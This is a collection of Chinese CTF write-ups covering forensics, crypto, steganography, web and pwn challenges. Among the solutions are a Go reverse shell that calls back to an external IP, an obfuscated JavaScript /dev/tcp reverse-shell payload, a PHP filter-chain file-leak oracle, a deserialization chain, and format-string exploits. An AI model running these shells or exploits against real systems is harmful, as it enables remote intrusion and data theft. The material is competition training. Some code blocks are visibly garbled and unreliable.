        elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # V W Xif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'X'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'W'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'V'else:
                        err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Zreturn 'Z'
        elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # zreturn 'z'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Mreturn 'M'
        elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # mreturn 'm'
        elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # yreturn 'y'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Yreturn 'Y'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # lreturn 'l'
        elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Lreturn 'L'
        elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # hreturn 'h'
        elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Hreturn 'H'
        elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # ureturn 'u'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Ureturn 'U'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # greturn 'g'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Greturn 'G'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # treturn 't'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Treturn 'T'else:
                err('something wrong')

print()
for i in range(100):
        prefix = f'{header}|{get_nth(i)}'
        letter = find_letter(prefix)
        # it's a number! check base64if letter == '*':
                prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
                s = find_letter(prefix)
                if s == 'M':
                        # 0 - 3
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '0'
                        elif ss in 'STUVWX':
                                letter = '1'
                        elif ss in 'ijklmn':
                                letter = '2'
                        elif ss in 'yz*':
                                letter = '3'else:
                                err(f'bad num ({ss})')
                elif s == 'N':
                        # 4 - 7
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '4'
                        elif ss in 'STUVWX':
                                letter = '5'
                        elif ss in 'ijklmn':
                                letter = '6'
                        elif ss in 'yz*':
                                letter = '7'else:
                                err(f'bad num ({ss})')
                elif s == 'O':
                        # 8 - 9
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '8'
                        elif ss in 'STUVWX':
                                letter = '9'else:
                                err(f'bad num ({ss})')
                else:
                        err('wtf')

        print(end=letter)
        o += letter
        sys.stdout.flush()

"""
We are done!! :)
"""print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

Misc

ez_Forensics

把镜像丢进Passwarekit​进行识别提取:

image

有第一部分的flag:flag{194a019a-1767-91

查看进程信息,发现有Winrar​:

image

filescan​一下,然后查看桌面文件:

image

提取这三个文件,其中key.rsmr​是鼠标记录

image

打开压缩包发现readme.txt​,桌面也有一个readme.txt

名字相同,怀疑是被修改了,查看编辑前的版本:

image

替换修改,打包一下:

image

CRC校验值相同,可以明文攻击

这个地方我用bkcrack​跑明文攻击,跑到100%,没找到密钥。。。

又尝试了好多压缩软件都不行,最后360压缩可以了

image

[ 6296ee7a 28ddd715 d09626ae ]

恢复解密文件,有一个table,查看hex开头是89504E47​,改后缀为png

table

然后按照鼠标画圈的顺序恢复key

​​58ccd03acfee30e4846e959acf1e0c2

顺序是:a91e37bf

volatility​提取cmd记录:

image

SET SECRET​但是不知道设置的哪个环境变量,但是查看的时候翻到了火狐浏览器的环境变量:

image

解密aes:

image

出第二部分flag:3a-f140-2626195942a0}

合并起来:

flag{194a019a-1767-913a-f140-2626195942a0}​​

Reverse

Story

源码里就有:

image

Crypto

DHRSA

因为t1和t2只可以取01,所以pq组合一共四种情况,单个来看p就只有两种情况

题目给出了62组

$$
C_i=g^{c_i}(modr)
$$

肯定有一个线性组合使得

$$
a_1c_1+……+a_nc_n=0
$$

可以凭此构造格子

然后gcd两组来求r

from Crypto.Util.number import *
from gmpy2 import *
cs = [9771395973011655803041049350400889693558053786906788399593857181577256033087775470396528142785531153656250742163382306394790826547696369519066900832598632, 8272821018041191335817314516024870641634584838709754134295649414123178842937800314505950304166260273130361466329869880024580711311122266329063823157928578, 9224196545381524434689958500941052085722509493323098161219607220849299786695264643219965900283680542442505315754998495711744726427299710433730839117822341, 1008469491610938216099437983993305774398678547360061529021095399886442276321623596589458980857784117593111375842386009804225494459153563491699302948435260, 7616413788891104674175703849368746136014029498968757620534065604935400737852925875633996435081025804169137754721194517660132118370608033038162779303724417, 7584549797616896430743312033954227311758800006881758430848397006388599762762869550122276429056861398410906389124143882721771887174154825862686488628829556, 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Cs = [8139606023160038223737079478941118590185130735073983268534523900466799026361464500424904356248753891316780445417573842978538788878976916399246204378441056, 6731047210123888962354325580924677204725121336252367061814596228770531939085170702108835833376855510135160514592212524395740859425722612967050674897558554, 8618477079542034439812499299348172601780082410118486479357089433765711733400709574657418048464225715724091467457454996920521245517408697962287328781660172, 9243753430474436162138755988303772102594989764465818886594050158035773372691908643200174705510107166901553683916448850166844368808268900160791189879886461, 5081325787403850070122342963066210472728109263877409302015934601768721956580972368361384922036489915214279268746375195256103574903758346112788101331060421, 1628416782427642576537753826054924818984220964280741905185643986017630454253562852051349318488828073385103084138926801432973213673304459124585445072035446, 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2486099330626766737257165308745024530097078778638782229355520177306987440002696878039888805275868528396743863481534888478552983793450062429371941132535078, 4167116570391804600255654075462038844507091559173265725625706455067299132147050347586004334123441342458308129150386241209679630518761986850258774882817936, 10185168995554407266816276622812659886483756602705301925351101031752727294301531965596293802652862084495500685833881517475134558625964721775303100038614160, 5456722125978665120229905841107251183374955393168570741251463630873840897267613318536370613164271366075428107312082239190184994439809325775182251507346825, 2939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566, 8743821334723368976778894507033225804145157545090682229505938930782456568432992185052055300701880227956622698441050884506223378607674824402614530393729367, 9157713754021073809434421172656952683393171530300224019784181318620517764533872565796337369744270420561987117136110183189161447503240922447481705416792933, 5878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069, 4723171396311923892248342600001144805520828588734579829312137837892547473549988680030764497200183283689846461436720606808050677973475562028290802376894040, 2843792191169572505424299937637335345928688319904295706002781014868972565908100208212634694593060855068754141546774316683717972204080538819157716088784950, 5649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971, 4449864701816030502869094392702038297167798303739676692580712480289620671504896451221373121095485571657769741067946182294271935296786038388717131050743105, 6015559474636248088561229697316533148096304587912722704321346276808664704462122988070466258472892491390452320498582384705624788234989258086915479317589554, 404470006641663392206752968026191050354477219085475176007692089093673919513513760805174543858749324166919507964495235284709646802332010921978754916213842, 6400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036, 4139621554482255887742647243977351847150733617205749719993940245058866579901045219083635101090422724513229414103870573743420533567984369212416328299201648, 3168193697707475529193822215328153723009219332354194589973887573663124790963735981601241436331461792216723819214300690004321006157765917632838358657075965, 7458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765, 10491155550479668966723346610934052049109810767277413338024524325905994360818069675936484156539236718504294063495115065935392782490138348869081026608020887, 8076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

length=62
cs_=[]
for i in cs:
    cs_.append(i*2^17)
L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs_[i]
    L[i,i] = 1
L = L.LLL()

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)

之后用共模攻击的方式来求得g

s,s1,s2 = gcdext(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

最后尝试两种情况,求出构造pq的C的生成方式

再用离散对数求出小c即可恢复pq之一

from Crypto.Util.number import *
from gmpy2 import *
X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
C = (n*W)%r
c_ = discrete_log(mod(C,r),mod(g,r))

assert pow(g,c_,r)==C

#p = ZZ(C * W^1 * pow(X, c, r) % r)
p = ZZ(C * W^0 * pow(X, c_, r) % r)
q = n//p

phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))

2023 World Intelligent Congress-Intelligent Driving Challenge | MISC

Challenge name:23333!

难度:Easy

考点:文件十六进制、零宽隐写

WriteUp:

  1. Winhex打开发现明显特征:

    image1

  2. 编写脚本进行恢复:

     input = open(data', 'rb')
     input_all = input.read()
     ss = input_all[::-1]
     output = open('data.zip', 'wb')
     output.write(ss)
     input.close()
     output.close()
  3. vim,打开:零宽隐写:

    image-1

    image

Challenge name:The game of mathematics

难度:Middle

考点:Fuzz

WriteUp:

解压得到key.jpg,是个数独,在线数独求解器 (gwalker.cn)

image-20230517115554833

exif信息里找到提示对角线,根据之前求解的数独结果,得到密码为654917276261618641

image-20230517115636997

得到一个key.txt,根据题目名称数学游戏,猜测也是个数学游戏,fuzz之后发现是Nonogram数织游戏

image-20230517115821023

github上可以找到个解析的网站Nonogram (handsomeone.github.io),得到压缩包密码Take1tEasy

image-20230517120025190

解开得到flag

flag{c6ebcf84bcd54bac0803086a4630f673}

Challenge name:This is Steganography

难度:Middle

考点:LSB音频隐写、webdings字体

WriteUp:

听wav开头有一些杂音,16进制发现data部分有大量不同寻常的01字节

1684287949492-41b83c2b-6b38-4145-a6f6-fbbc0fa717ab

猜测是wav的lsb隐写,写脚本提取

import wave

def read_wav_file(file_path):
    with wave.open(file_path, 'rb') as wav_file:
        params = wav_file.getparams()
        frames = wav_file.readframes(wav_file.getnframes())
    return params, frames

def extract_data(frames):
    binary_data = ''
    for frame in frames:
        binary_frame = format(frame, '08b')
        binary_data += binary_frame[-1]
    return binary_data

def binary_to_bytes(binary_data):
    byte_data = bytearray()
    for i in range(0, len(binary_data), 8):
        byte = binary_data[i:i+8]
        byte_data.append(int(byte, 2))
    return bytes(byte_data)

def save_data_to_file(data, file_path):
    with open(file_path, 'wb') as output_file:
        output_file.write(data)

def main():
    modified_file_path = 'modified_audio.wav'
    params, frames = read_wav_file(modified_file_path)
    extracted_data = extract_data(frames)
    byte_data = binary_to_bytes(extracted_data)
    output_file_path = 'extracted_data.png'

    save_data_to_file(byte_data, output_file_path)

    print("成功提取隐藏的数据并保存到文件。")

if __name__ == '__main__':
    main()

得到一张倒置的图片,是webdings字体(13条消息) 'Webdings' 的字体对照表_webdings字体_chenjieit619的博客-CSDN博客

1684288118403-ff1e1aa8-2ea3-4581-bc38-3a70edc97d49

倒置回来后对照表即可得到flag

flag{8d9ad0457c1a8b603978085b0bffcf93}

Challenge name:You're also confused, right?

难度:Schrödinger

考点:Xor

WriteUp

根据题目提示,应该与异或有关,根据flag.zip​后缀提示,将前几个字节与zip文件头异或

可以得到1234

​​image-20230622155130990​​

猜测zip文件应该是与0x01-0xff递增逐字节异或的,解密脚本:

with open('flag.zip', 'rb') as input_file, open('result.zip', 'wb') as output_file:
    byte = input_file.read(1)  
    xor_value = 0x01  

    while byte:

        xor_byte = bytes([byte[0] ^ xor_value])
        output_file.write(xor_byte)

        byte = input_file.read(1) 
        xor_value = (xor_value + 1) % 256  

压缩包解开可以得到两张图

发现两张图大小相同,

image-20230622155620852

打印xor.png的rgb发现这张图并不是一张全黑的图

image-20230622155655132

结合图片名仍跟异或有关,将两张图逐像素异或

from PIL import Image

image1 = Image.open('xor.png').convert('RGB')
pixels1 = image1.load()

image2 = Image.open('rox.png').convert('RGB')
pixels2 = image2.load()

result_image = Image.new('RGB', image1.size)
result_pixels = result_image.load()

width, height = image1.size
for x in range(width):
    for y in range(height):
        r1, g1, b1 = pixels1[x, y]
        r2, g2, b2 = pixels2[x, y]
        r_xor = r1 ^ r2
        g_xor = g1 ^ g2
        b_xor = b1 ^ b2
        result_pixels[x, y] = (r_xor, g_xor, b_xor)

result_image.save('result.png')

得到的图片与rox.png做盲水印得到flag

image-20230622160030497

image-20230622160045206

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}

2023 Shaanxi University Student CyberspaceSecurity Competition Partly WriteUp

WEB

test

image

/profile/admin

image

cmd5反查一下:​admin:asdfgh123

登录成功:

image

从网上找一个反弹shell的golang shell

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}

自己写一个上传接口,然后修改相关信息,BP发包即可:

POST /Adm1nUp104d HTTP/1.1
Host: xxxxxxxxx.clsadp.com
Content-Length: 1203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:63342
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydX4dGEAJZUS6ZqkT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="file"; filename="123.go"
Content-Type: application/octet-stream

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}
------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="submit"

submit_file
------WebKitFormBoundarydX4dGEAJZUS6ZqkT--

image

ezrce

简单的无参数rce,正则里面开了​``​[模式就能执行命令]()。然后利用session,直接梭了PHP的无参数RCE - 先知社区 (aliyun.com)

image

unserialize

非预期了,不需要反序列化,直接%0a​绕过了

payload:passthru%0a(%27cat%20/flag%27);

Esc4pe_T0_Mong0

参考 angstromctf2022 misc/CaaSio PSE ,补充过滤​ / ​​防范正则,补充过滤URL编码绕过,需要进一步绕过长度限制

Read Source Code​ 可以看到页面源码,利用 this.constructor.constructor ​​进行沙箱逃逸

image

有长度限制和黑名单,可以用with​来绕过.​后续的内容我们可以使用 fromCharCode​ 来绕过敏感字符,但是由于长度限制,在fromCharCode ​​内部还需要进一步进行定义来缩短长度

payload:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=52,55,46,b=49,48,a,46,b,a,46,b,54,48,47,b,a,a,a,32,48,62,38,b,34))

反弹shell后直接进MongoDB,读flag​3702311e045df49394f3bcd7e26716e

ezpop

首先存在一个不可见字符的post传参,这里需要urlencode编码一下,然后再将其作为参数进行post传参

<?php
class night
{
    public $night;

    public function __destruct(){//night=new day()
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;
}

class light
{
    public $light;

}

class dark
{
    public $dark;

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
$b=array($a,0);
echo serialize($b);

因为GC回收机制,我们将得到了serialize$b中的1改成0,最后生成我们最后的payload:

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}

PWN

陕西游玩

from pwn import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.55',10001)
elf = ELF('./pwn')
libc=ELF('libc.so.6')
ru('choice :\n')
sl('2')
ru('Warriors\n')
sl('%11$p')
ru('0x')
base=int(r(12),16)-0x13a0
ru('choice :\n')
sl('1')
payload=b'a'*0x28+p64(base+0x129A)
p.sendline(payload)
itr()

easy_printf

from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.X',10010)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

ru('Do you know who the best pwner is?\n')
sl('TokameinE_is_the_best_pwner\0')
ru('What do you want to say?\n')
sl('%18$p')
ru('0x')

libc_base = int(r(12),16) - 0x5f1168
leak('libcbase',libc_base)
og = libc_base + 0x4527a
free_hook = libc.sym["__free_hook"] + libc_base
leak('og',og)

leak('free_hook',free_hook)
free = free_hook//0x100000000

leak('free',free)
free1 = free_hook//0x10000000000

num = 72
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')

itr()

MISC

Findme

twealpng打开图片,发现有数据块较大,提取出来

image

手动提取后,发现大小刚好为500k,怀疑是VeraCrypt加密容器

image

image

修复图片后进行挂载,

image

image

将其转换成16进制数据后写入新文件,图片调整高度为400出二维码:

image

扫描出flag

你是不是很疑惑呢

按照提示,aztec条形码时间戳异或,将创建时间与修改时间进行转化后异或

可以先将汉字与阿拉伯数字进行手动替换

import os  
import datetime

# 指定文件夹路径  
folder_path = "path/to/folder"

# 遍历文件夹  
for filename in os.listdir(folder_path):  
    # 只处理 png 文件  
    if filename.endswith(".png"):  
        # 获取文件的创建时间和修改时间的时间戳  
        create_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  
        modify_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  

        # 将时间戳异或  
        和时间戳异或的操作符进行运算  
        result = create_time ^ modify_time  

        # 打印输出  
        print(f"{filename}的创建时间为{create_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            修改时间为{modify_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            异或结果为{result.strftime('%X')}")  

按顺序转ascii得到flag

image

管道

签到misc,随便旋转一下,zsteg -a 管道.png

image

可是雪啊飘进双眼

wav有摩斯密码,

image​解密WOAIXIAN​,然后txt是snow隐写:

image

解压,key.jpg是加密的对照表,改为zip再次打开

image

对照后得到密钥: BC1PVEYD

steghide解密hide.jpg即可

Crypto

HaM3

CryptoCTF2021原题

pq乘积在n里

组合爆破分解

from Crypto.Util.number import *
from tqdm import tqdm

n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
low = str(n)[-19:]
high = str(n)[:19]
pq_prob = []

for i in range(10):
    pq_prob.append(int(high + str(i) + low))

for x in tqdm(pq_prob):
    f = factor(x)
    if (len(f) == 2 and f[0][0].nbits() == 64):
        p, q = f[0][0], f[1][0]
print(p,q)
P = int(str(p) + str(q))
Q = int(str(q) + str(p))
PP = int(str(P) + str(Q))
QQ = int(str(Q) + str(P))
N = PP * QQ
print(N)
assert N == n
phi = (PP - 1) * (QQ - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)
print(m)
print(long_to_bytes(m))

奇怪的sar

lcg流密码加异或

用剪枝算法能解

from Crypto.Util.number import *
from gmpy2 import *
n =  24044063028844014127418595700558729326190738802687551098858513077613750188240082663594575453404975706225242363463089392757425008423696150244560748490108425645064339883915929498539109384801415313004805586193044292137299902797522618277016789979196782551492020031695781792205215671106103568559626617762521687128199445018651010056934305055040748892733145467040663073395258760159451903432330506383025685265502086582538667772105057401245864822281535425692919273252955571196166824113519446568745718898654447958192533288063735350717599092500158028352667339959012630051251024677881674246253876293205648190626145653304572328397
c =  14883053247652228283811442762780942186987432684268901119544211089991663825267989728286381980568977804079766160707988623895155236079459150322336701772385709429870215701045797411519212730389048862111088898917402253368572002593328131895422933030329446097639972123501482601377059155708292321789694103528266681104521268192526745361895856566384239849048923482217529011549596939269967690907738755747213669693953769070736092857407573675987242774763239531688324956444305397953424851627349331117467417542814921554060612622936755420459029769026126293588814831034143264949347763031994934813475762839410192390466491651507733968227
n1 =  137670797028117726329534659376416493367957852768263083700434198723955223922183386928456013703791817601151754417828367188186912209697081337658512940425529211281290630976671911327606706953154608427885071841566358882014021242768190762103365969320014710368160869517966437591299370072284930202718943785099916898209
enc =  [101737402423360536260958229788866250367716256968287178187558336481872788309727545478736771692477306412259739856568227009850831432381180909815512654609798228982433082928392936844193974517574281026029228179913579225687286945054175762659252515268270399329404664775893089132101252158524000295899895962104782878103, 37355684997487259669354747104430314505839306993101096210478266975184357608742619438151118843905165289324251734149329596611854110739738607745107961453008343886403511257039401245484528985856920723694142989180291902939107642020398816995584650913417698279936585230648639613028793148102494100898288564799111024672, 58677759595639211550435023449462812079890625834313820227189340593596480924226619376872336960357021314847975570175387751632125898437020801920862764666175594874885587518469384576361008639967382152477408865298759987606155830674598034578657554841283906976808719095766296677147076808250022898199866472085742989883, 61841632061818470036288407041172200048676249787061823756736224887116113640875444187463656719652972233582538657844183320242896612625995507633237074900538692102956750184024574603018257213912795847625926653585010890014291951218199774765624860625726555381815237888483974246173727262881650634287497285246796321130, 7618244158597756867387754433401378508070531356170836765779245254233413235386172690733378371343899289510629513166609513857423499004879497768588665836034791151090648182168421570449377835494883902907064269417199065924565304966242954268460876762295575715334403142360198583318323418975108290758222653083011275844, 106276841058222138994123556391380518368163552919305398852484130331884811278068151915582752795463570013359693610495645946230044828403849434903415989487924763756589202218361370725532394478569304449884620166937809374355282324069422109879874964479199929174533104879048175102339134830614476339153367475243140156049, 54574757236475194407137831004617398270525645136836468973535243574661043352422598443323384197261529289829451787586618886007968913414366545291507686451774653217577858375086817168124727394445167274831801876424578654786480330913650363551771258617533162477541882336257099777912519011890593910515860435759936717781, 15567087904962670212229825713697043597876172881256160613623383896576159414077875401117959132252949501643234465895697270909085179587988268864498823765197994781747034644583869111599516151129007414228897958635533561248099927507725880289417298814703767549313482346652043188826434944367260731729064673486516315207, 10757138067445225320504771816863593606847219020279502671965413470243269270456133564739090471033889069283122519782525412134604896073598293410977787230108853737796640474070194546344190858079847734817109910030714675258996740807873872365037296486121580542250452443305370358407408558223735250474249180772656905880, 68097848963949068260912124852455363245291187860801223898468533992003737157497436432969031551088942445561676359631354280979357356539429863946694570097104716411407829017684705171462511875250672979623888463245258237680782731827727876526411531354910982579164963119481534453651300645314177478026462894232377307020]
seed = 39428646082513135314545544161912595458975375891528176714825766497155482031976852156313956476772023258684487799640179241987139554034654104867011313090105438798561154654679825702410748780286094326639330840289843154525176685892323447168072417654823748596238888125898914210332775882916911771786984574407163323116
start = [(1, 1)]
for i in range(1, 1025):
    tmp = (1 << (i+1))
    all = []
